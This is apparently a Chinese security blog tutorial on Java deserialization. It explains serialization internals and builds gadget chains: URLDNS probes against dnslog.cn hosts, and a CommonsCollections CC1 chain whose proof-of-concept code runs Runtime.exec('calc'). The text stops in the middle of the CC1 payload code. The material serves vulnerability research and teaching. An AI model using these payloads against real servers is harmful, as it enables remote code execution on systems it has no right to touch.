[【原创】] Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB

前言

如同标题一样, 本篇文章会介绍反序列化漏洞的基本原理,以及分析三种反序列化链路:URLDNS, CC, CB.

其中CC链附上一条笔者挖的链路, 有兴趣可以看一下, 当然没兴趣就算了. (PS: 有CC1~7的知识点就够了)

前置知识也就是笔者之前发表的《JAVA安全 | Classloader:理解与利用一篇就够了》, 建议理解 ClassLoader 之后再来学习反序列化。

本篇文章目录如下:

image-1732762217102.png

基本概念

其中序列化, 反序列化这两者的概念, 我们可以通过一张图进行解释:

image-1732762238514.png

序列化则是将 Java 中的对象将其变为一串二进制数据, 可以存储在数据库,文件,内存中.

而反序列化则是将这些二进制数据,重新还原成 Java 对象的一个过程.

image-1732762252715.png

序列化 | 反序列化是发生在"对象"身上的\, 故我们无法序列化 static 类型的属性\, 因为 static 属性是绑定在类上的.

序列化 | 反序列化 测试

那么我们在 Java 中如何使用序列化 | 反序列化呢?

  1. 编写一个类, 实现Serializable接口
  2. 在该类中添加private static final long SerialVersionUID属性.

笔者在这里准备一个用于测试序列化|反序列化Java环境:

pom.xml:

<dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.18.30</version>
        </dependency>
    </dependencies>

随后准备一个JavaBean:

package com.heihu577.bean;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import java.io.Serializable;

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    private int id;
    private String name;
    private int age;
}

编写测试类:

public class T1 {
    @Test
    public void writeObj() throws Exception {
        Person heihu577 = new Person(1, "heihu577", 12);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./heihu577.dat")));
        oos.writeUTF("HELLO WORLD"); // 写入字符串 HELLO WORLD
        oos.writeObject(heihu577); // 写入 heihu577 对象
    }

    @Test
    public void readObj() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
        String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
        Person person = (Person) ois.readObject(); // 读取 hihu577 对象
        System.out.println("Msg: " + msg + ", Person: " + person); // Msg: HELLO WORLD, Person: Person(id=1, name=heihu577, age=12)
    }
}

其中writeObj可以写入字符串与对象, 其中生成二进制文件的格式遵循Java规范, 具体可以参考官方文档: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

那么上述运行结果如下:

image-1732762311440.png

Serializable 接口

我们可以观察一下Serializable接口中的注释信息:

image-1732762323833.png

当我们在Person类中定义了这些方法时, 例如:

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
    private int id;
    private String name;
    private int age;

    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        System.out.println("反序列化中...");
    }

    private void writeObject(java.io.ObjectOutputStream out)
            throws IOException {
        System.out.println("序列化中...");
    }
}

那么当我们调用ObjectOutputStream::writeObject方法时, 也会调用Person::writeObject方法.

image-1732762336257.png

当我们调用ObjectInputStream::readObject方法时, 也会调用Person::readObject方法. 这里过程就不演示了.

具体原因可以查看 readObject 源码分析: https://blog.csdn.net/lpcInJava/article/details/134776113

https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yub4jE8YGCRzmeD

程序员定义 readObject & writeObject 原因

那么程序员在什么时候会定义readObject并编写程序员的代码段呢?我们使用下面的案例来解释:

public class Main2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person();
        person.setId(1);
        person.setUsername("Zs");
        serialize(person); // 序列化时 id=1, username=Zs. 但经过自定义 writeObject 处理后值为 id=2, username=Zs ~~~

        Person person01 = unserialize();
        System.out.println(person01); // 反序列化时, 直接调用 readObject 方法, 对其进行赋值操作.
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String username;
    // 提供 getter && setter && toString 方法

    private void writeObject(java.io.ObjectOutputStream out)
            throws IOException {
        out.writeInt(id + 1);
        out.writeUTF(username + " ~~~ "); // 自定义序列化规则
        System.out.println("我进来了, 我是序列化");
    }

    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        System.out.println("我进来了, 我是反序列化.");
        this.id = in.readInt(); // 自定义反序列化赋值规则
        this.username = in.readUTF();
    }
}

我们可以看到的是, 自定义writeObject & readObject接口方法可以自定义序列化与反序列化的规则. 当然了, 如果我们定义一个空的readObject方法会怎么样, 我们不妨一试:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person("heihu577", 12);
        serialize(person); // 序列化时, 是带着属性值序列化的
        Person person01 = unserialize();
        System.out.println(person01); // 而因为自定义了 readObject 方法, 所以这里的结果是 Person(name=null, age=null), 没有任何属性
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
    private String name;
    private Integer age;

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {}
}

可以看到这里由于定义了自定义readObject方法, 所以这里反序列化时, 无法成功从二进制文件中读取到name & age属性的值.

如果我们将该readObject定义成这样, 将可以从二进制文件中得到name & age的值, 并可以成功赋值:

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject(); // readObject 方法的第一行调用默认的处理机制
}

transient 阻止指定字段序列化

当一个成员属性使用transient修饰时, 那么该成员属性是不允许序列化的, 测试如下:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person("heihu577", 12);
        serialize(person);
        Person person01 = unserialize();
        System.out.println(person01); // Person(name=null, age=12)
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
    private transient String name; // 定义 name 不允许序列化
    private Integer age;
}

而如果想要transient修饰的字段也参与序列化, 那么也需要重写writeObject & readObject方法, 在里面进行定义序列化|反序列化的规则:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person("heihu577", 12);
        serialize(person);
        Person person01 = unserialize();
        System.out.println(person01); // Person(name=我是自定义的写入规则~heihu577, age=12)
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
    private transient String name;
    private Integer age;

    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        out.defaultWriteObject(); // 调用默认的写入是为了写入 age 成员属性
        out.writeUTF("我是自定义的写入规则~" + this.name); // 写入 name
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 调用默认的读取是为了读取 age 成员属性
        this.name = in.readUTF(); // 读取 name
    }
}

可以看到的是, 虽然name字段被transient修饰了, 但是我们依然可以通过自定义writeObject & readObject进行操作name.

当然, 被 static 修饰的字段也不会被序列化, 因为 static 是基于类的, 这一点毋庸置疑.

serialVersionUID 有什么用

那么为什么必须要定义serialVersionUID也是有讲究的, 我们定义如下代码进行测试:

image-1732762382298.png

可以看到, 似乎serialVersionUID对我们序列化 & 反序列化并无影响, 但是此时我们试图对Person增加一个成员方法, 然后再进行反序列化测试:

image-1732762392920.png

可以看到的是, 如果一个类没有定义serialVersionUID, 那么Java会默认通过当前类结构给该类生成一个serialVersionUID, 随后在你writeObject时写入到你的二进制文件中.

当进行反序列化时, 仍然没有定义serialVersionUID成员属性时, Java会通过当前类结构重新计算serialVersionUID, 对你的二进制文件中的serialVersionUID进行比对, 若一致, 那么可以成功反序列化, 若不一致, 那么将不允许反序列化.

那么当我们加上serialVersionUID, 与其我们二进制文件中的serialVersionUID一致, 看一下是否可以反序列化成功:

image-1732762403974.png

所以一般程序员在实现了Serializable接口时, 会顺手定义serialVersionUID, 以免在版本更新等因素修改了类的结构, 从而导致更新前的序列化文件失效.

ObjectInputStream::resolveClass 加载类

我们知道的是,ObjectInputStream::readObject方法可以通过读取序列化二进制文件, 从而将序列化中的对象反序列化回来, 既然加载的是对象, 那它肯定需要在加载对象之前加载该对象所指明的类, 而加载类的过程被放入在了ObjectInputStream::resolveClass中, 我们可以看一下该方法是如何定义的:

image-1732762414281.png

而当我们继承ObjectInputStream, 重写resolveClass方法, 就可以自定义类加载规则.

那么我们定义如下DEMO进行看一下:

public class Demo {
    public static void main(String[] args) throws Exception {
        DemoClass demoObj = new DemoClass();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 将序列化的值放入到内存中
        new ObjectOutputStream(byteArrayOutputStream).writeObject(demoObj); // 序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        new MyObjectInputStream(byteArrayInputStream).readObject(); // 读取对象, 会调用到 MyObjectInputStream::resolveClass
    }
}

class MyObjectInputStream extends ObjectInputStream {
    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        System.out.println("要加载的类名: " + desc.getName());
        return super.resolveClass(desc);
    }
}

class DemoClass implements Serializable {
    String name = "heihu577";
}

最终运行结果:

要加载的类名: com.heihu577.DemoClass

只要稍微修改一下MyObjectInputStream::resolveClass的加载逻辑, 就可以自定义加载类.

Externalizable 接口

ExternalizableSerializable接口还是有区别的, 我们知道的是,Serializable接口有默认的序列化|反序列化处理机制, 而Externalizable是没有的, 我们可以看一下这两个接口的区别:

public interface Serializable {}
public interface Externalizable extends java.io.Serializable {
    void writeExternal(ObjectOutput out) throws IOException;
    void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

我们可以看到的是,Externalizable必须实现writeExternal & readExternal方法. 而Serializable接口中readObject & writeObject的定义是程序员自定义的.

这也就意味着实现Externalizable接口程序员必须在writeExternal & readExternal中指明其序列化 | 反序列化规则, 这一切都由程序员定义, 因为没有了默认处理规则, 自然Externalizable也不需要使用serialVersionUID进行思考兼容性问题.

无参构造

定义如下代码:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person(); // 进入一次无参构造
        person.setName("heihu577");
        person.setAge(12);
        serialize(person);
        Person UnserPerson = unserialize(); // 进入一次无参构造
        System.out.println(UnserPerson);
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
class Person implements Externalizable {
    private String name;
    private Integer age;

    public Person() { // 定义的该构造器访问修饰符必须为 public
        System.out.println("进入无参构造...");
    }

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeObject(name);
        out.writeObject(age);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        name = (String) in.readObject();
        age = (Integer) in.readObject();
    }
}

可以看到的是, 实现了Externalizable的类, 对象进行反序列化时会自动进入一次构造方法.

Externalizable和Serializable的区别

实现Serializable接口是默认序列化所有属性,如果有不需要序列化的属性使用transient修饰。Externalizable接口是Serializable的子类,实现这个接口需要重写writeExternal和readExternal方法,指定对象序列化的属性和从序列化文件中读取对象属性的行为。

实现Serializable接口的对象序列化文件进行反序列化不走构造方法,载入的是该类对象的一个持久化状态,再将这个状态赋值给该类的另一个变量。实现Externalizable接口的对象序列化文件进行反序列化先走构造方法得到控对象,然后调用readExternal方法读取序列化文件中的内容给对应的属性赋值。

好文推荐: https://blog.csdn.net/qq_43842093/article/details/127437652

反序列化漏洞入门

当我们的一个正常类中, 定义了readObject方法时, 若方法体中的运行代码不安全, 则会造成反序列化漏洞, 如下:

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    private int id;
    private String name;
    private int age;

    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("calc"); // 弹出计算器
    }
}

那么当我们执行如下代码就会弹出计算器:

@Test
public void readObj() throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
    String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
    Person person = (Person) ois.readObject(); // 读取 heihu577 对象
    System.out.println("Msg: " + msg + ", Person: " + person);
}

所以这里如果我们如果想要挖掘出存在反序列化漏洞的类时, 是需要查看该类是否定义了不安全的readObject方法, 或者该readObject方法最终的走向是危险的, 例如:A::readObject -> B::某方法 -> C::危险方法, 这样也可以达到一个反序列化漏洞的效果.

URLDNS

如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成.

HashMap

Java中存在Map数据类型, 我们知道的是, Map 中存在许许多多的Entry. 当然, 程序员为了能让Map这个复杂的数据类型支持序列化|反序列化, 自己重写了writeObject & readObject方法, 因为Map本来就是Java开发者定义的一种键值对的数据类型. 那么我们先看一下HashMapwriteObject流程. 我们准备如下代码进行研究:

public static void main(String[] args) throws IOException, ClassNotFoundException {
    HashMap<String, String> map = new HashMap<>();
    map.put("name", "heihu577");
    serialize(map);
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static Map unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return (Map) ois.readObject();
}
Map.put 方法做了什么

在研究之前, 我们先看一下大体上Map.put方法做了一些什么操作, 因为这里面的一些成员属性参与到了后期的writeObject操作中.

image-1732762446123.png

因为篇幅有限, 这里并不方便把整个HashMap的原理放出来, 具体可以参考: https://zhuanlan.zhihu.com/p/705241238

在这里我们只需要知道table这个属性存放的是我们实际的数据, 它是一个Node<Key, Value>数组:

image-1732762457048.png

从上图可以看到, 当我们运行完Map.put方法之后, 该数组中会增加一组键值对.

自定义 writeObject

那么接下来我们分析writeObject方法, 看一下该方法到底做了什么.

image-1732762466777.png

到这里我们知道的是, 原来HashMap中的Key & Value也是参与了writeObject操作的.

自定义 readObject

那么我们看一下readObject做了什么事情:

image-1732762478120.png

这里我们需要注意的是hash这个方法:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这个方法会调用Map中KeyhashCode方法. 那么这里可以作为一个切入点进行深度挖掘.

URL

在URL中定义了hashCode方法, 而这个方法是可以发送DNSLOG请求的:

image-1732762488520.png

最终调用了getHostAddress方法, 这个方法可以发送DNSLOG请求. 所以这是一个完整的链路.

问题是handler是在哪里进行初始化操作了?实则是在构造器, readObject 方法中都有定义, 我们看一下这个初始化操作方法:

public URL(String protocol, String host, int port, String file,
           URLStreamHandler handler) throws MalformedURLException {
    // ... 其他代码
    if (handler == null &&
        (handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
        throw new MalformedURLException("unknown protocol: " + protocol);
    }
    this.handler = handler;
}

private synchronized void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // ... 其他代码
    if ((handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
        throw new IOException("unknown protocol: " + protocol);
    }
}

所以我们无需担心handler是否为空问题. 一旦URL::hashCode方法被调用, 那么将直接发送一次网络请求. 而我们刚刚分析的HashMap类的readObject方法中, 是存在hashCode的调用的, 所以这里我们将其调用URL::hashCode就可以发送一次网络请求了.

发送DNSLOG测试

下面我们通过这段代码可以发送一次DNSLOG请求:

public static void main(String[] args) throws IOException, ClassNotFoundException {
    HashMap<URL, String> hashMap = new HashMap<>();
    hashMap.put(new URL("http://lg3swn.dnslog.cn/"), "heihu577");
}

image-1732762503152.png

最终DNSLOG收到结果:

image-1732762513202.png

但是我们并不希望在我们构造POC时发送网络请求, 所以这里我们需要在构造POC时, 通过反射进行修改掉URL这个类的hashCode, 将其不等于-1即可, 如下:

HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
/*
     private int hashCode = -1; 这里默认是 -1, 我们需要将其修改为其他值
     public synchronized int hashCode() {
            if (hashCode != -1) 为了进入该判断, 直接返回 hashCode, 否则走到下面将发送网络请求
                return hashCode;

            hashCode = handler.hashCode(this);
            return hashCode;
        }
* */
hashMap.put(url, "heihu577");

这样我们在本地构造HashMap对象时就不会发送网络请求了, 而由于反序列化时由于hashCode已经被修改了, 所以这里反序列化时并不会发送DNSLOG请求. 我们看一下解决办法.

反序列化测试

首先我们生成POC到本地磁盘:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    HashMap<URL, String> hashMap = new HashMap<>();
    URL url = new URL("http://mdj867.dnslog.cn/");
    Field hashCode = url.getClass().getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    hashCode.set(url, 0);
    hashMap.put(url, "heihu577"); // put 进去时, hashCode 为 0, 在里面调用 hashCode 方法, 不会发送DNSLOG请求.
    hashCode.set(url, -1); // put 完了, 再改回 -1, 以免我们序列化的 hashCode 被替换为 0. 下一次反序列化时就会发送 DNSLOG 请求.
    serialize(hashMap); // 运行后 D:/heihu577.ser 将生成出来
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

随后我们直接进行反序列化:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    unserialize(); // 调用直接发送 DNSLOG 请求.
}

public static Map unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return (Map) ois.readObject();
}

最终会收到DNSLOG请求:

image-1732762526483.png

最终调用流程图:

image-1732762546832.png

Apache Commons Collections

前置环境准备

为了研究CC链, 我们需要在这里准备一个低版本的JDK用于学习, 笔者在这里使用的JDK版本jdk1.8.0_65:

E:\Language\Java\jdk1.8.0_65\bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)

除了准备低版本的JDK之外, 由于rt.jar!/sun下的包均为字节码文件, 所以我们需要去 https://hg.openjdk.org/ 去下载JDK下的sun源码文件, 否则当我们调试时会出现变量名随机等问题, 在我们看源代码时不方便. 如图:

image-1732762558871.png

本地SDK源码下载: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 (下载不了挂VPS下)

下载完毕之后, 按照如下操作:

image-1732762568527.png

操作完毕之后, 我们sun目录下就可以看到.java的源代码了:

image-1732762577879.png

随后在pom.xml文件中进行引入含有漏洞版本的CC:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version> <!-- CC3 -->
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version> <!-- CC4 -->
    </dependency>
    <!-- 分析具体版本, 切换到具体版本 -->
</dependencies>

为了后续的方便, 在这里按住Ctrl+Alt+Shift+F7, 进行设置我们的Alt+F7查找的内容:

image-1732762588527.png

文章中, AAA 链路...俗称 BBB, AAA 指Commons Collections具体版本号, BBB 指ysoserial中的俗称.

CC3 链路 (版本1) jdk1.8.0_65 俗称 CC1

CC中存在一个org.apache.commons.collections.Transformer接口, 该接口定义了方法:

public interface Transformer {
    public Object transform(Object input);
}

定义了一个transform方法, 按住Ctrl+h查看谁实现了该接口:

image-1732762598759.png

InvokerTransformer::transform 危险方法

InvokerTransformer这个类是可以序列化的, 并且重写了transform方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.

以下代码是理解案例:

Person person = new Person();
InvokerTransformer invokerTransformer = new InvokerTransformer("sayHello",
        new Class[]{String.class}, new Object[]{"Heihu577"}); // 调用 sayHello 方法, 参数类型为 String 参数值为 Heihu577
Object transform = invokerTransformer.transform(person); // Hello: Heihu577

/* Person 类如下:
public class Person { // 这里必须由 public 修饰, 否则将报错
    public void sayHello(String name) {
        System.out.println("Hello: " + name);
    }
} */

那么通过这样我们可以调用一个计算器出来:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器
TransformedMap::checkSetValue 链式调用

我们需要查看谁调用了InvokerTransformer::transform方法, 最终结果如下:

image-1732762610171.png

可以看到的是TransformedMap::checkSetValue方法调用了InvokerTransformer::transform方法, 此时我们可以把关注点放在TransformedMap::checkSetValue上, 本地模拟调用一下该方法, 看一下是否可以成功弹出计算器.TransformedMap构造器的定义为:

public class TransformedMap
        extends AbstractInputCheckedMapDecorator // 注意这个类, 待会儿下面会有调用关系.
        implements Serializable { // 可以被序列化

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

}

可以看到的是, 虽然该类的构造器是protected, 但该类提供了一个static方法, 可以使我们创建该类的实例, 但是由于checkSetValue方法是protected修饰的, 所以这里我们需要使用反射调用一下, 准备测试代码如下:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
        new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime); // 将 runtime 对象传递过去

运行将弹出计算器.

AbstractInputCheckedMapDecorator::setValue 链式调用 (抽象类)

image-1732762623184.png

可以看到AbstractInputCheckedMapDecorator这个类调用了parent.checkSetValue方法, 那么我们看一下AbstractInputCheckedMapDecorator这个类:

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { // AbstractMapDecorator 实现了 Map.Entry, 是一个封装好的键值对类
    protected AbstractInputCheckedMapDecorator(Map map) {
        super(map);
    }

    public Set entrySet() {
        if (isSetValueChecking()) { // true 为永真
            return new EntrySet(map.entrySet(), this);  // Map 数据类型迭代前都需要得到 EntrySet
        } else {
            return map.entrySet();
        }
    }

   static class EntrySet extends AbstractSetDecorator { // AbstractSetDecorator 实现了 Set, Set extends Collection, Collection<E> extends Iterable<E>, 所以这里 EntrySet 是一个 Iterable, 必须实现 iterator 方法
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }

        public Iterator iterator() {
            return new EntrySetIterator(collection.iterator(), parent); // 遍历时调用这里, collection 是父类定义的
        }
    }

    static class EntrySetIterator extends AbstractIteratorDecorator { // AbstractIteratorDecorator 实现了 Iterator, 可自定义迭代规则.
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

        public Object next() {
            Map.Entry entry = (Map.Entry) iterator.next();
            return new MapEntry(entry, parent); // 当迭代时, 会调用到这里
        }
    }

    static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value); // 迭代时可手动调用 checkSetValue 方法
            return entry.setValue(value);
        }
    }
}

可以看到的是, 这个AbstractInputCheckedMapDecorator类是一个抽象类, 并且提供了entrySet方法, 也就是说, 这个类是Map中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap类. 该类其中的MapEntry类继承了AbstractMapEntryDecorator类, 而AbstractMapEntryDecorator类实则上也是实现了Map.Entry, 定义如下:

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {}

public interface Map<K,V> {
    interface Entry<K,V> {
        V setValue(V value);
        // ... 其他
    }
    // ... 其他
}

所以我们可以通过遍历调用setValue方法进行传递我们的Runtime对象, 然后setValue调用checkSetValue,checkSetValue调用transform从而实现了攻击链路, 本地测试脚本如下:

Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
        new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
    entry.setValue(runtime); // 循环调用 setValue
}

运行可以弹出计算器.

AnnotationInvocationHandler::readObject 入口方法

那么谁会调用setValue方法呢?我们使用Alt+F7进行查找:

image-1732762642434.png

最终在AnnotationInvocationHandler::readObject中成功发现了调用setValue方法的代码块, 而readObject方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject方法,AnnotationInvocationHandler::readObject方法定义如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type; // 需要转入注解
        this.memberValues = memberValues; // 传入 Map 类型
    }

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type); // AnnotationType 类用于获取一个注解
        } catch(IllegalArgumentException e) {
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 判断该注解的属性

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

AnnotationType.getInstance方法用于获得一个注解, 下面的annotationType.memberTypes()用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行, 这里我们可以选择使用@Retention,Retention注解定义如下:

public @interface Retention {
    RetentionPolicy value(); // 只有一个 value
}

而根据如下代码段的逻辑:

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey(); // 得到我们外部传递 map 的 key, 这里最好传入 key 的值是 value
    Class<?> memberType = memberTypes.get(name); // 因为 Retention 只有 value 属性, 所以这里我们只可以传入 key 的值是 value 的 map 才可以不为 null.
    if (memberType != null) {
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) ||
              value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.
        }
    }
}

我们可以看到, 这个代码块对memberValues进行遍历, 并进行setValue操作, 而memberValues又是在构造器中是可控的. 由于这个类不是public, 所以我们需要使用反射解决:

public class Main {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime(); // 这里 runtime 并没有传入
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"});
        HashMap hashMap = new HashMap();
        hashMap.put("value", "b"); // 使用 value, 硬性规定
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
